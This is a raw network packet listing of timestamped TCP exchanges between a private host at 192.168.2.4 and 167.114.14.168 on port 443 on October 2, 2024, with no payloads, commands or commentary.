Oct 2, 2024 06:10:29.749944925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.750008106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.750014067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.750041962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.750060081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.750411987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.750427008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.750467062 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.750472069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.750502110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.750509977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.750701904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.750718117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.750766993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.750771999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.750808001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.751132965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.751152039 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.751182079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.751188040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.751219034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.751379013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.754060984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.754076958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.754111052 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.754115105 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.754133940 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.754156113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.758090973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.758110046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.758152008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.758157969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.758182049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.758197069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.758457899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.758476019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.758510113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.758516073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.758541107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.758558989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.830107927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.830130100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.830209970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.830228090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.830271006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.831834078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.831850052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.831890106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.831895113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.831924915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.831943035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.832299948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.832315922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.832353115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.832355976 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.832386017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.832396984 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.834619999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.834640026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.834687948 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.834692955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.834721088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.834737062 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.835058928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.835073948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.835112095 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.835117102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.835143089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.835155010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.844595909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.844610929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.844679117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.844683886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.844717979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.848686934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.848710060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.848748922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.848752975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.848773003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.848788023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.849390030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.849406004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.849451065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.849457026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.849493980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.920974970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.921009064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.921050072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.921058893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.921082020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.921103954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.922736883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.922761917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.922794104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.922799110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.922836065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.923165083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.923186064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.923233986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.923238993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.923276901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.925537109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.925559998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.925596952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.925601959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.925635099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.925652981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.925918102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.925936937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.925972939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.925976992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.926000118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.926018953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.935369015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.935415983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.935436964 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.935444117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.935478926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.940210104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.940228939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.940270901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.940278053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.940313101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.940330982 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.940855980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.940874100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.940900087 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.940903902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:29.940934896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:29.940960884 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.011651039 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.011676073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.011728048 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.011739016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.011765957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.011775017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.013145924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.013184071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.013210058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.013212919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.013238907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.013257027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.013679028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.013695002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.013748884 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.013758898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.013803959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.015983105 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.016001940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.016047001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.016050100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.016086102 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.016100883 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.016458035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.016494989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.016510963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.016515017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.016547918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.016572952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.025979996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.026005030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.026045084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.026048899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.026072025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.026096106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.030193090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.030214071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.030244112 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.030247927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.030275106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.030301094 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.031209946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.031250954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.031274080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.031277895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.031306982 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.031326056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.102212906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.102231979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.102452040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.102466106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.102510929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.103882074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.103899002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.103976011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.103981972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.104022026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.104402065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.104419947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.104466915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.104470968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.104511976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.106738091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.106769085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.106815100 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.106820107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.106862068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.107214928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.107230902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.107270002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.107275009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.107311010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.116777897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.116792917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.116832018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.116837978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.116993904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.120860100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.120874882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.120933056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.120939016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.120975971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.122225046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.122241974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.122289896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.122294903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.122334003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.193008900 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.193026066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.193188906 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.193201065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.193353891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.194777966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.194792986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.194854021 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.194859982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.194899082 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.195278883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.195292950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.195339918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.195346117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.195388079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.197247028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.197263002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.197319984 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.197324991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.197365999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.197792053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.197813034 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.197849989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.197854042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.197879076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.197899103 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.207321882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.207340956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.207401037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.207406998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.207740068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.211429119 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.211446047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.211515903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.211520910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.211576939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.212749004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.212765932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.212805986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.212810993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.212837934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.212857962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.283755064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.283775091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.283847094 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.283859015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.285355091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.285377979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.285413027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.285417080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.285434008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.285465002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.286041021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.286063910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.286145926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.286149979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.286160946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.286181927 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.287863970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.287879944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.287914038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.287919044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.287946939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.287954092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.288400888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.288415909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.288470030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.288475037 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.289860010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.298043966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.298059940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.298130035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.298140049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.301723003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.302135944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.302154064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.302207947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.302212000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.303520918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.303529978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.303550005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.303582907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.303586960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.303611040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.303630114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.374418974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.374435902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.374499083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.374505997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.375219107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.377299070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.377315044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.377393961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.377399921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.377784014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.377801895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.377844095 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.377849102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.377881050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.377909899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.378458977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.378474951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.378529072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.378535032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.378565073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.379110098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.379126072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.379182100 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.379187107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.381594896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.388633966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.388657093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.388706923 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.388711929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:30.388736963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:30.388745070 CEST	49744	443	192.168.2.4	167.114.14.168
